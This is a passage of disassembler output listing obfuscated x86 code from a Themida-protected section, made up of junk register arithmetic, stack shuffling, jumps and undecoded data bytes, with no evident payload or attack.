0E95C2404h, 0FFFF971Eh dd 72CE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F34A: ; CODE XREF: Themida_:0054A4EEj neg dword ptr [esp] pop edi push eax mov eax, 519E33FFh xor edi, eax pop eax xor edi, 88E66890h add ebp, edi pop edi sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push esp pop edi push ecx push ebp push 4135461Bh jmp loc_54B016 ; --------------------------------------------------------------------------- db 0ACh dd 7DB75352h, 0FFA7CCE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F385: ; CODE XREF: Themida_:00545058j mov eax, 164927CDh add eax, 4DDC410Dh sub edi, 1ABC65E4h sub edi, eax push ecx jmp loc_545F88 ; --------------------------------------------------------------------------- db 81h, 0F1h, 62h dd 0E97C8620h, 0FFFFD8BDh, 5AC4F781h, 0C7810A10h, 0F8F4C421h dd 405FF829h, 0FF6786E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F3BD: ; CODE XREF: Themida_:0054BCDBj shl ecx, 5 jmp loc_54AB4B ; --------------------------------------------------------------------------- loc_54F3C5: ; CODE XREF: Themida_:0054D298j xor ebp, [esp] jmp loc_54C90B ; --------------------------------------------------------------------------- db 0F7h, 0E1h, 68h dd 6758h, 0FFD75CE9h, 242C89FFh, 2BDh, 0E9EF0100h, 0FFFFF011h dd 7C7CC781h, 0F7017CA2h, 7C7CEF81h, 0C7817CA2h, 4C230630h dd 2C7815Eh, 57000000h, 42474FFh, 24048F5Fh, 48B665Ch dd 24516824h, 14890000h, 0AE95424h, 66FFFFC1h, 0E902B60Fh dd 0FFFFB816h, 535AD129h, 0E022A2BBh, 5BD9013Bh, 5D4EFA2Dh dd 223F2D71h, 1E90EC4h, 80FFFF90h, 8058A3C3h, 0B60FB0C3h dd 0EFDEE9C0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F452: ; CODE XREF: Themida_:005488EEj sub ah, 77h jmp loc_54B2DB ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54D500 ; --------------------------------------------------------------------------- dd 3C8BF901h, 5E545624h, 4C681h, 0C6810000h, 4, 5C243487h dd 4BA52h, 0D1010000h, 8324148Bh, 0FF5104C4h, 59042474h dd 0FFBA4EE9h, 88F088FFh, 110E9C7h, 14F60000h, 0F2805A24h dd 0F6CAFEB1h, 47F280D2h, 0E96DC280h, 0FFFFF50Dh, 34FF5966h db 24h, 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub bx, ax push si mov si, 8A9h sub bx, si pop si movzx eax, ax jmp loc_54EFA7 ; --------------------------------------------------------------------------- dd 9D1C77FFh, 24041958h, 5117E99Ch, 5350FFFFh, 0C3E9h dd 58C50100h, 4C581h, 2C870000h, 0C4835C24h, 4C48104h dd 0E9000000h, 0FFFF620Ah ; --------------------------------------------------------------------------- loc_54F514: ; CODE XREF: Themida_:0054DF2Cj mov ecx, ebp pop ebp jmp loc_545D25 ; --------------------------------------------------------------------------- dd 0BA52D829h, 0C1570B5h, 5EAC142h, 3BDBCA81h, 0C28123C7h dd 23EB905Ah, 0FF5AD029h, 815B2434h, 4C4h, 0B755E900h dd 0BA52FFFFh, 7F245D60h, 0E95AD131h, 344h, 0E9241489h dd 0FFFFCCBDh, 0F72EA505h, 9522E931h, 368FFFFh, 54000069h dd 8124048Fh, 42404h, 34FF0000h, 243C8B24h, 81E18951h dd 4C1h, 4C18100h, 87000000h, 835C240Ch, 0C78104C4h, 4 dd 4C781h, 3C330000h, 243C3124h, 8B243C33h, 0FF662424h dd 5057E930h, 5A58FFFFh, 0E92434FFh, 0FFFF8BB0h, 58123DBBh dd 5924E900h, 6852FFFFh, 8D5h, 1335E9h, 0C2815900h, 4F774989h dd 0D2E9C229h db 62h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F5DF: ; CODE XREF: Themida_:0054C4EDj push dword ptr [esp+4] jmp loc_54E410 ; --------------------------------------------------------------------------- dd 0FF501CE9h, 240489FFh, 8E3576B8h, 395B3570h, 292D1A54h dd 16ADA0Ch, 89E958C1h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F607: ; CODE XREF: Themida_:0054D598j add esi, 3FAA08BBh add ebp, esi pop esi xor ebp, [esp] jmp loc_548C7E ; --------------------------------------------------------------------------- dd 240C8966h, 0EE30C0B5h, 240C8B66h, 0FFC2D0E9h, 65EA80FFh dd 0E989EA80h, 0FFFF84E6h, 0C7E95966h, 81FFFFE3h, 4ECh dd 241C8900h, 268h, 70DAE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F64E: ; CODE XREF: Themida_:0054B0BFj sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp mov ebp, 172F0A7Ch jmp loc_548AD9 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 4A000000h, 0EA81DAF7h, 0BB0465B9h, 0FF5449E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F679: ; CODE XREF: Themida_:00545B92j sub esp, 4 mov [esp], edi mov edi, 2ADB56A1h jmp loc_54D320 ; --------------------------------------------------------------------------- loc_54F689: ; CODE XREF: Themida_:0054FE7Fj mov ebp, 739958D7h dec ebp shl ebp, 8 push esi push eax jmp loc_545FA7 ; --------------------------------------------------------------------------- db 0BFh, 0D2h, 40h dd 0EF81546Eh, 49FF1A93h, 8106E7C1h, 0C98FBCEFh, 4BEE819Bh dd 0E96E0664h, 0FFFF73F0h, 9C240408h, 0FF4F48E9h, 4429BAFFh dd 0EA813D81h, 7B2C66C2h, 0FF64D8E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F6D1: ; CODE XREF: Themida_:0054FAC0j pop ebp add esp, 4 pop dword ptr [esp] pop esp jmp loc_54DB40 ; --------------------------------------------------------------------------- dw 0DDBEh dd 29336557h, 94DDE9EEh, 8957FFFFh, 13B850E7h, 4846472Dh dd 0E2E9E8D1h, 58FFFFEFh, 53F868h, 0A043E900h, 0C1FEFFFFh dd 0FE68F180h, 0BB652C9h, 285AF130h, 7227E9CAh, 45AFFFFh dd 28140492h, 2C142CD8h, 52C60492h, 0B05090B6h, 6DC7E9B0h dd 0F929FFFFh, 0FF6726E9h, 4E1C0FFh, 8DC180h, 0C30059CBh dd 2EC81h, 89660000h, 0E953240Ch, 0E0Fh, 0CA308AB1h, 4EC8359h dd 51241C89h, 0CB88D188h, 81240C8Bh, 4C4h, 9FBCE900h, 0EF81FFFFh dd 357A4831h, 0B7E9D7F7h, 81FFFFB3h, 0D423A1C5h, 814D5B64h dd 2ED46AC5h, 19C281D8h, 1265D69h, 19EA81EAh, 8B265D69h dd 0C483242Ch, 2B95104h, 1000000h, 148759CAh, 24248B24h dd 243CD366h, 0D14CE99Ch, 0E568FFFFh, 0E900007Dh, 0FFFF5C91h dd 0DB548DBAh, 622CE903h, 0F42DFFFFh, 811E5EAAh, 8951DAEAh dd 81C2016Ah, 8951DAC2h, 0E2D1586Ah, 0FF6ACDE9h, 4B8FFh dd 9BE90000h, 52000013h, 4BE56h, 0E8E90000h, 81FFFF64h dd 5F794FF6h, 91E95323h db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F80B: ; CODE XREF: Themida_:0054CC86j add esp, 4 sub eax, 5F4812B2h pop ecx jmp loc_54A0A5 ; --------------------------------------------------------------------------- dd 6824148Bh, 5FFCh, 0FF9BD5E9h, 248B66FFh, 4DD7E924h dd 9C50FFFFh, 0FF4DD0E9h, 5DBE56FFh, 81686C65h, 0C77279EEh dd 6FE94E3Ch, 8FFFFFF2h, 70E92404h, 0FFFFFF5Dh, 0AEE92C77h dd 4FFFF4Dh, 406E916h, 248B0000h, 24048B24h, 0E9E08950h dd 0DD3h, 4C481h, 0C8310000h, 0FF7EAAE9h, 43166FFh, 82E99C24h db 4Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F887: ; CODE XREF: Themida_:00544963j inc ebx jmp loc_5464DD ; --------------------------------------------------------------------------- db 81h, 0C2h, 7Eh dd 0E9E7BFEBh, 0FFFF5E94h, 0DCBC581h, 0ED8131D6h, 3E6679DAh dd 85E9CD01h, 66FFFF70h, 0E9240C89h, 0FFFF63A5h, 8B241C87h dd 0C481240Ch, 4, 39F5E981h, 0AEE908F7h, 68FFFFAEh, 0A5Bh dd 0E9241489h, 0FFFFA8A2h, 35DB6852h, 24890000h, 0D387E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F8E6: ; CODE XREF: Themida_:00547D47j mov [esp], edi mov edi, 27D51AD9h inc edi dec edi push eax mov eax, 14D7644h sub edi, eax pop eax jmp loc_54A4ED ; --------------------------------------------------------------------------- loc_54F8FE: ; CODE XREF: Themida_:0054E3B8j mov ecx, esp jmp loc_54E816 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0FDEDE954h, 8795FFFFh, 3E6C1EEh, 0B2EE8146h, 0E9A31653h dd 0FFFFF008h, 243C875Bh, 0E389535Ch, 4BB5355h, 53000000h dd 0EB015B5Dh, 4EB835Dh, 0E9241C87h, 0F97h, 0B2241489h dd 0E9525122h, 0FFFFD2EEh, 8758C289h, 87D5F7EAh, 6D0068EAh dd 34890000h, 3E99BE24h, 0D6F70CA3h, 0C90CF681h, 0F229D151h dd 0FF6830E9h, 53E801FFh, 3169E8BBh, 5BD80118h, 0ACE9535Dh dd 83FFFFD4h, 0D66804C4h, 89000043h, 4B82404h, 1000000h dd 8D38E9C2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F99A: ; CODE XREF: Themida_:00548921j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], eax mov eax, 65E06871h jmp loc_545B8E ; --------------------------------------------------------------------------- db 0BAh dd 4EAD437Eh, 5749F281h, 0CA810A3Fh, 15261BE5h, 669FEA81h dd 0C2815AACh, 2E9279D8h, 495AD189h, 0A685550h, 5D3B0056h dd 0FFCC72E9h, 88F788FFh, 885A5BFDh, 0C8B386Fh, 0E1895124h dd 4C181h, 0C0E90000h, 5A00000Eh, 4C281h, 0C2830000h, 0A445E904h dd 4D5FFFFFh, 5C44BA52h, 0FA870E37h, 0FA87D7F7h, 3C8DC281h dd 8BE900B0h, 88FFFFD9h, 0A8B5E9D7h, 895BFFFFh, 7B9DE9F3h dd 0C8BFFFFh, 4C48324h, 8B242C87h, 0EC682424h, 0E900002Fh dd 0FFFFD1C8h, 0DAEB805Bh, 6602E3C0h, 5B60E950h, 0CB81FFFFh dd 73462CC1h, 0DC84E94Bh, 0E95DFFFFh, 0FFFF5433h, 2C802CACh dd 7399E99Bh, 48FFFFFh, 6AE95C24h, 66FFFFE5h, 53243C8Bh dd 0C381E389h, 4, 4EB81h, 1C870000h, 0C895C24h, 57595424h dd 4BFh, 618FE900h, 0DF01FFFFh, 53241C8Bh, 0C381E389h dd 4, 0FF60A3E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FAB9: ; CODE XREF: Themida_:00549A98j push dword ptr [esp+4] push dword ptr [esp] jmp loc_54F6D1 ; --------------------------------------------------------------------------- loc_54FAC5: ; CODE XREF: Themida_:005503B1j push edx mov edx, 1D08039Dh xor edx, 58D35125h sub edx, 133338E2h jmp loc_54DA3A ; --------------------------------------------------------------------------- dd 0E95BDA01h, 0FFFF7FEBh, 5756D801h, 0A30B30BFh, 0C1DFF70Bh dd 4AE905EFh, 53FFFF70h, 0FFBE1FE9h, 24248BFFh, 0E99CC884h dd 0FFFF4B01h, 53240489h, 0F888EF88h, 81241C8Bh, 4C4h dd 6FC2E900h, 3468FFFFh, 58553118h, 0EABE9h, 7EC58000h dd 0DADE952h, 0FABF0000h, 11EC568h, 0EA685FF8h, 0E900007Dh dd 0FFFFB808h, 582434FFh, 815F5457h, 4C7h, 4B95100h, 1000000h dd 2434FFCFh, 592434FFh, 4C481h, 0F6E90000h, 81FFFF4Fh dd 2C5h, 242C8700h, 0FF887EE9h, 4BEFFh, 0F5010000h, 242C875Eh dd 2C1815Ch, 33000000h, 0C31240Ch, 240C3324h, 6624248Bh dd 9C2424D3h, 0FF4A68E9h, 7E9C1FFh, 2338BD55h, 0E9316B58h dd 0E981415Dh, 6A305BD7h, 0FF62F1E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FBB9: ; CODE XREF: Themida_:0054B2DEj sub cl, al jmp loc_54C3D0 ; --------------------------------------------------------------------------- dd 5A2414F7h, 8BAE9h, 2BF00h, 0F8010000h, 2404875Fh, 0FFD7D0E9h dd 0EE895BFFh, 0D7BB535Dh, 0C113B034h, 7BE903E3h, 58FFFF9Ch dd 0C15EF021h, 0C8310AE8h, 0C131C831h, 0CE9C831h, 89FFFFB1h dd 405E0h, 2EE90000h db 8Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FC0B: ; CODE XREF: Themida_:005498F3j xor ecx, [esp] jmp loc_548632 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 4C38100h, 0E9000000h, 0FFFFCD29h ; --------------------------------------------------------------------------- loc_54FC24: ; CODE XREF: Themida_:00549A76j push ecx mov ecx, 451D1054h inc ecx jmp loc_54B337 ; --------------------------------------------------------------------------- dd 0E981F101h, 7D435F98h, 81D9F75Eh, 44079CC1h, 93ABE94Bh dd 0DE01FFFFh, 4C6835Bh, 0E9243487h, 0FFFFC5D4h, 240C8B66h dd 0FFA571E9h, 4C481FFh, 0E9000000h, 0FFFF8BA3h, 0E903B652h dd 0FFFF8D4Ah, 0F4E9E901h db 5Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FC77: ; CODE XREF: Themida_:0054676Bj jmp loc_544609 ; --------------------------------------------------------------------------- dd 0F01685Eh, 3C890000h, 9976E924h, 3489FFFFh, 0E9E68924h dd 0FFFF8283h, 4C281h, 0C2810000h, 4, 5C241487h, 0FF4960E9h dd 30055AFFh, 17A0F16h, 16302DD8h, 81577A0Fh, 4ECh, 911DE900h dd 0EB81FFFFh, 8B4DBBE9h, 525BDF89h, 0FFF009E9h, 4FE958FFh db 8Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FCD7: ; CODE XREF: Themida_:00549169j dec edx add edx, 0EE80F949h jmp loc_54FD85 ; --------------------------------------------------------------------------- db 89h dd 8B542404h, 0CE92404h, 8BFFFFBDh, 89572434h, 4C781E7h dd 81000000h, 4C7h, 9142E900h, 2B8FFFFh, 1000000h, 0E1E958C5h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FD13: ; CODE XREF: Themida_:0054B6EAj push edx xchg ebp, [esp] not ebp jmp loc_54C4FD ; --------------------------------------------------------------------------- dw 0F509h dd 0F233E95Eh, 3C8BFFFFh, 4C48124h, 0E9000000h, 0FFFFBF9Ah dd 209668h, 240C8900h, 728C68h, 24048900h, 82740B8h, 5E8C10Eh dd 0FFF00CE9h, 5F5457FFh, 4C781h, 0E9500000h, 0FFFFBE7Fh dd 6DAFE281h, 0BD554B17h, 0C1FF977Dh, 0FF55E8E9h, 0BE5658FFh dd 47431B4Eh, 0FF576DE9h, 51D5F7FFh, 61E9h db 0 ; --------------------------------------------------------------------------- loc_54FD85: ; CODE XREF: Themida_:0054FCDEj or ebp, edx jmp loc_54632C ; --------------------------------------------------------------------------- dd 0B60F6664h, 0E0895002h, 405h, 42D00h, 4870000h, 0C895C24h dd 53595424h, 0AE4425BBh, 0F3814B5Ch, 5CAE4420h, 555BD901h dd 0D4EB951h, 0F181533Fh, 63724437h, 14ECC181h, 0C9817436h dd 1BC37BABh, 4C3BF181h, 0E9812BAEh, 946D33D2h, 89CF8957h dd 7DB7E9FDh, 8BB9FFFFh, 31216E3Bh, 0E5D159CDh, 0B914C581h dd 0C8E9D84Dh, 81FFFF50h, 0E594E5EEh, 0F2895264h, 0C7E9D789h dd 83FFFFA2h, 1C8904ECh, 19DEBB24h, 5C31283Ch, 0F9E90424h dd 0FF000009h, 48B2434h, 0E1895124h, 0FFCB86E9h, 0F7ABFFFh dd 0E7811518h, 507500DEh, 0FFF56BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54FE3D: ; CODE XREF: Themida_:0054C802j pop dword ptr [esp] mov esp, [esp] add esp, 4 shl eax, cl push ecx push 0FFFFFFFFh pop ecx add eax, 5F4812B2h push ecx jmp loc_550BD3 ; --------------------------------------------------------------------------- dw 8B54h dd 0C481241Ch, 4, 0FF89BAE9h, 67BA52FFh, 0C17E3D3Ah, 0E2C105E2h dd 9CF5E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FE7A: ; CODE XREF: Themida_:0054E51Bj xchg ecx, [esp] pop esp push ebp jmp loc_54F689 ; --------------------------------------------------------------------------- dd 0D1FFEA83h, 53DAF7EAh, 8CD5E0BBh, 5BDA29E5h, 7E6AC581h dd 0D501451Bh, 7E6AED81h, 875A451Bh, 248B242Ch, 48B6624h dd 5225E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FEB2: ; CODE XREF: Themida_:00546D31j inc ebp add ebp, 6A9666Eh push eax mov eax, 1AFCEEBDh sub ebp, eax pop eax mov ecx, 1816656Fh add ecx, 675738CDh sub ecx, ebp sub ecx, 675738CDh jmp loc_54DFFD ; --------------------------------------------------------------------------- dw 0C280h dd 8DC280ADh, 8004E2C0h, 0B8E99EF2h db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FEEB: ; CODE XREF: Themida_:00547382j mov [esp], ecx push edx mov edx, 6F8A4372h xchg ebx, edx push ebx neg dword ptr [esp] mov ebx, [esp] add esp, 4 push 706Bh mov [esp], edx push ebx pop edx pop ebx push ebx push esp pop ebx jmp loc_54AB69 ; --------------------------------------------------------------------------- db 0BDh dd 1DD12429h, 815DEF09h, 87F67DEFh, 5FFD2975h, 1FE9EB31h dd 89FFFFA3h, 4C68240Ch, 0E9000065h, 0FFFFE7E3h, 89240C89h dd 4C181E1h, 81000000h, 4C1h, 240C8700h, 5E21E95Ch, 3CBAFFFFh dd 0C126AD43h, 0DAF707E2h, 0EFB85042h, 0D16A5C5Dh, 7269E9E8h dd 92BDFFFFh, 9008E0Bh, 81425DEAh, 0C5190ACAh, 0E7DCE908h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FF7E: ; CODE XREF: Themida_:0054AD29j mov edx, 4 add eax, 111D61F6h sub eax, edx sub eax, 111D61F6h pop edx xor eax, [esp] jmp loc_54A488 ; --------------------------------------------------------------------------- dd 240C8B66h, 543E68h, 240C8900h, 48E9E189h, 0B9FFFFF8h dd 54C9518Fh, 1678C181h, 0D1F73B6Bh, 68h, 240C2900h, 12F18159h dd 0C1397445h, 96E904E9h, 1FFFFC6h, 0C1835AD1h, 240C3304h dd 0FF7C6DE9h, 0E9E289FFh, 0FFFFBABFh, 31243C33h, 8E9243Ch dd 1FFFF4Bh, 0DD015FFDh, 15CCED81h, 0CEE95337h, 31FFFFBEh dd 14F757FDh, 0FD875F24h, 261AE581h, 0EDC11009h, 4EC8302h dd 0BF243C89h, 4CB50849h, 0C781DFF7h, 6639383Ah, 0EF81D7F7h dd 2CFD3A21h, 0F5E9FD29h, 8FFFFF57h, 45CFE902h, 0FF5FFFFFh dd 49E92434h db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550043: ; CODE XREF: Themida_:0054EF99j push dx mov dh, 0D7h add al, dh jmp loc_54CB62 ; --------------------------------------------------------------------------- dw 0D301h dd 7DF9E95Ah, 0EF31FFFFh, 5FF8015Dh, 2474FF50h, 48F5804h dd 0D770E924h, 2C89FFFFh, 81E58924h, 4C5h, 84DDE900h, 0E089FFFFh dd 405h, 0E9545300h, 0FFFFDB02h, 0FFD703E9h, 0B7E981FFh dd 497CD060h, 0E981E1D1h, 936D46Eh, 1610E981h, 0F9015734h dd 1610C181h, 89525734h, 4C281E2h, 83000000h, 0FF5204EAh dd 5A042474h, 5C24048Fh, 0E9241C89h, 0FFFF9C0Eh, 5103E0C1h dd 7C0B2AB9h, 0C9E3E906h, 0F101FFFFh, 0B46C181h, 348B0685h dd 4C48324h, 8B240C87h, 0CD32424h, 16E99C24h, 0BEFFFF45h dd 8E516951h, 0FF6D5EE9h, 4EC83FFh, 0E9240C89h, 0FFFF6EC9h dd 0A6E9DE01h db 0BCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55010F: ; CODE XREF: Themida_:0054AD39j add esi, 36392B05h sub esi, edx sub esi, 36392B05h pop edx xor edi, esi pop esi jmp loc_54D10A ; --------------------------------------------------------------------------- dw 0E289h dd 4C281h, 0C2830000h, 24148704h, 0FF773FE9h, 2434FFFFh dd 459BE958h, 0C483FFFFh, 0C9E95D04h, 5FFFF85h, 615D7D20h dd 1768F801h, 89000003h, 32BB241Ch, 51762E08h, 3C2E9AB9h dd 15E18112h, 81292216h, 86346AC1h, 0ED85E97Ch, 565AFFFFh dd 0C681E689h, 4, 0FFE31FE9h db 0FFh ; --------------------------------------------------------------------------- loc_550185: ; CODE XREF: Themida_:005487C2j push esi mov esi, esp jmp loc_54E066 ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 0A3h dd 0F7FFFF7Eh, 5E0C1D0h, 4CCE0540h, 632D23A2h, 2D662208h dd 0BCD79C3Ch, 0E958C689h, 0FFFF4713h, 6BFFBB53h, 0DBF7453Ch dd 6434CB81h, 0C3815E07h, 6A5D4296h, 815BDD89h, 0F54D35C5h dd 3C31557Eh, 243C3324h, 0FFA5A7E9h, 8BDA01FFh, 0C483241Ch dd 8A78E904h, 555EFFFFh, 0FFF110E9h, 48B66FFh, 0E1895124h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54B0B9 ; --------------------------------------------------------------------------- dd 8B5EF589h, 0C4812414h, 4, 0FF5C89E9h, 4EC81FFh, 89000000h dd 0C6BD242Ch, 0D10B310Dh, 0ED814DEDh, 1, 0FF6B6BE9h, 506659FFh dd 0E20819B4h, 52535866h, 0C6FE1CB6h, 0C680DEF6h, 0E9F388DAh dd 0FFFF52B9h, 505AD001h, 405E089h, 83000000h, 48704E8h dd 24248B24h, 0FFCAEAE9h, 7D1768FFh, 1C890000h, 0C881E924h dd 0F029FFFFh, 8324348Bh, 5BE904C4h, 81FFFFEDh, 4C6h, 4C68100h dd 87000000h, 0B5E92434h, 55FFFF6Fh, 0F7DDABDh, 0E7DAE913h dd 0E95AFFFFh, 0FFFFA00Ah ; --------------------------------------------------------------------------- loc_55029C: ; CODE XREF: Themida_:0054631Aj add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xchg edi, [esp] jmp loc_550979 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 2B9h, 8BCD0100h, 0C481240Ch, 4, 5C242C87h, 2404D366h dd 4E2DE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5502D2: ; CODE XREF: Themida_:00549FC2j mov eax, [esp] push 3DD4h mov [esp], edi mov edi, esp push edx mov edx, 4 jmp loc_54B2E3 ; --------------------------------------------------------------------------- dw 0E300h dd 24048B66h, 2C481h, 0F2E90000h, 0B6FFFF55h, 96B4503Eh dd 0BEC0E951h, 685FFFFFh, 4998h, 83243489h, 1C8904ECh dd 0F6BA5224h, 89463803h, 0BD555AD3h, 5AB63D0Ch, 58EAED81h dd 56E947CBh, 88FFFF80h, 0E9DD88F3h, 0FFFFB571h, 0C681E689h dd 4, 4C681h, 0C4E90000h, 56FFFF5Fh, 0CD6385BEh, 6381BB7Dh dd 97E97DCDh, 83FFFFC9h, 545304C4h, 0AF69E95Bh, 6868FFFFh dd 0E9C33724h, 0FFFF530Ch, 3189C689h, 8124348Bh, 4C4h dd 2434FF00h, 0E9240C8Bh, 0FFFF9FD7h, 568EB81h, 0F3015077h dd 0FF7475E9h, 9FA4BBFFh, 0B95120A9h, 26A65359h, 0FF95C0E9h dd 83E959FFh db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5503AB: ; CODE XREF: Themida_:0054EC91j add esi, 4 jmp loc_54FAC5 ; --------------------------------------------------------------------------- dw 8B66h dd 4BE9240Ch db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5503BF: ; CODE XREF: Themida_:0054A494j push 70C8h mov [esp], edx mov edx, 15356C10h xor [esp+4], edx mov edx, [esp] add esp, 4 jmp loc_545063 ; --------------------------------------------------------------------------- dw 489h dd 52585424h, 350491BAh, 42E28120h, 0E945E877h, 0FFFF647Ch dd 5C243C87h, 0FFC0B60Fh, 8BE98734h, 58FFFF8Ah, 315FF889h dd 240C8BC8h, 377E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550412: ; CODE XREF: Themida_:00546D40j mov [esp], edx mov edx, 4 add ebp, edx pop edx sub esp, 4 mov [esp], eax push edx mov edx, 2 mov eax, edx pop edx add ebp, eax pop eax push ebp push dword ptr [esp+4] mov ebp, [esp] push ebp jmp loc_549B15 ; --------------------------------------------------------------------------- dd 0B7535166h, 5BF988D1h, 0E5E9CA30h, 89FFFFF1h, 0F22958C6h dd 0E924348Bh, 0FFFF73E8h, 57241C8Bh, 0FFBF28E9h db 0FFh ; --------------------------------------------------------------------------- loc_550465: ; CODE XREF: Themida_:0054AD51j mov eax, 69B75736h inc eax sub eax, 69B75733h sub ebx, 1EAF223Fh add ebx, eax add ebx, 1EAF223Fh jmp loc_54B373 ; --------------------------------------------------------------------------- db 0C1h dd 90E903EAh db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55048B: ; CODE XREF: Themida_:0054C89Aj push ecx mov ch, 0C5h mov bl, 0Fh xor bl, ch pop ecx push eax jmp loc_54A1FE ; --------------------------------------------------------------------------- db 81h, 0EAh, 4 dd 87000000h, 895C2414h, 34FF2404h, 0C4835924h, 0F9015804h dd 0FF9DC1E9h, 4B9FFh, 0CF010000h, 0B8505359h, 4, 34FFC389h dd 24048B24h, 5704C483h, 0FFBB68E9h, 240C8BFFh, 104C483h dd 0B8505AD5h, 2, 8758C501h, 248B242Ch, 0C8B6624h, 116824h dd 2C890000h, 81E58924h, 4C5h, 68565200h, 30C84BAFh, 53C6815Eh dd 89CF37B4h, 0E9535EF2h, 0FFFF9A09h, 4EC8151h, 54000000h dd 0FF675FE9h, 4EC81FFh, 89000000h, 0B1682414h, 8900001Dh dd 4812424h, 424h, 0C2815A00h, 4, 34C1BE56h, 0F681604Ah dd 604A34C5h, 0E95EF201h, 0FFFF4ED1h, 8BF8015Bh, 5E9243Ch dd 0B3FFFF90h, 0E9DD880Dh, 0FFFFC71Fh ; --------------------------------------------------------------------------- loc_55056C: ; CODE XREF: Themida_:0054ECA2j xor esi, [esp] pop esp jmp loc_54BB89 ; --------------------------------------------------------------------------- loc_550575: ; CODE XREF: Themida_:00544B0Cj add esp, 4 jmp loc_5473D5 ; --------------------------------------------------------------------------- db 81h, 0C5h, 0B4h dd 1981FBAh, 65A6E9E8h, 64BBFFFFh, 81015D55h, 9D0333F3h dd 81DBF725h, 0C0565BC3h, 0E9D90124h, 0FFFFEC5Dh, 620FBD55h dd 0F581768Dh, 0CA14E7h, 815DEA21h, 0FFC3FCC2h, 8BD701EFh dd 89572414h, 4C781E7h, 83000000h, 25E904C7h, 5DFFFFFEh dd 0E7C7EE81h, 0F389132Dh, 0FEE9555Eh, 28FFFF47h, 5B352CF8h dd 9C668h, 24148900h, 8857B450h, 63E958E2h, 83FFFF78h dd 348704C6h, 0C3305C24h, 8FC0B60Fh, 0FEE98704h, 0F6FFFF3Fh dd 0E95166D2h, 0FFFF7DC6h, 0E95FFB01h, 0FFFF4D2Dh, 0FF3FE8E9h db 0FFh ; --------------------------------------------------------------------------- loc_550621: ; CODE XREF: Themida_:0054CD3Cj mov eax, 22AF1F05h push esi mov esi, 693526C3h add esi, 0D518DB56h sub eax, 4A10782h add eax, esi add eax, 4A10782h jmp loc_54D414 ; --------------------------------------------------------------------------- db 57h dd 0FF900CE9h, 4C481FFh, 51000000h, 2B9h, 0FFCB0100h, 81592434h dd 4C4h, 241C3300h, 33241C31h, 665C241Ch, 0E99CC885h, 0FFFF3F95h dd 83242489h, 48904ECh, 4B824h, 44010000h, 34FF0424h, 0E6E95824h dd 81FFFFC8h, 0B33AA3EBh, 698CE919h, 0C829FFFFh, 0C2099405h dd 0EFE95502h, 8BFFFFD3h, 85E9241Ch db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5506AF: ; CODE XREF: Themida_:0054902Fj mov ebp, 37C06770h xor edi, ebp pop ebp and eax, edi push dword ptr [esp] jmp loc_546F4F ; --------------------------------------------------------------------------- loc_5506C1: ; CODE XREF: Themida_:0054D428j shl edx, 1 push 5306h mov [esp], ecx mov ecx, 24h add ecx, edi push esi push edx mov edx, 48035B74h sub edx, 75FA42C0h jmp loc_549331 ; --------------------------------------------------------------------------- dd 42474FFh, 0E92434FFh, 0FFFFE51Ah, 31240433h, 4332404h dd 34FF5C24h, 0E0A1E924h, 0D9F7FFFFh, 122FBA52h, 19E90D2Fh dd 81FFFFEDh, 196815C5h, 0ED815F4Eh, 2, 2474FF55h, 242C8B04h dd 8F04C483h, 248B2404h, 4896624h, 3ED3E924h, 0C8BFFFFh dd 4C48324h, 0FFBFBEE9h db 0FFh ; --------------------------------------------------------------------------- loc_550741: ; CODE XREF: Themida_:00545BA4j add esp, 4 add esi, 4 add esi, 4 jmp loc_54840E ; --------------------------------------------------------------------------- loc_550755: ; CODE XREF: Themida_:00549196j pop ecx jmp loc_548920 ; --------------------------------------------------------------------------- db 0B8h dd 2B330BA2h, 0E906E0C1h, 0FFFF40BFh ; --------------------------------------------------------------------------- loc_550768: ; CODE XREF: Themida_:0054A600j or eax, 38317BAFh xor eax, 6E92B73Fh jmp loc_5493E9 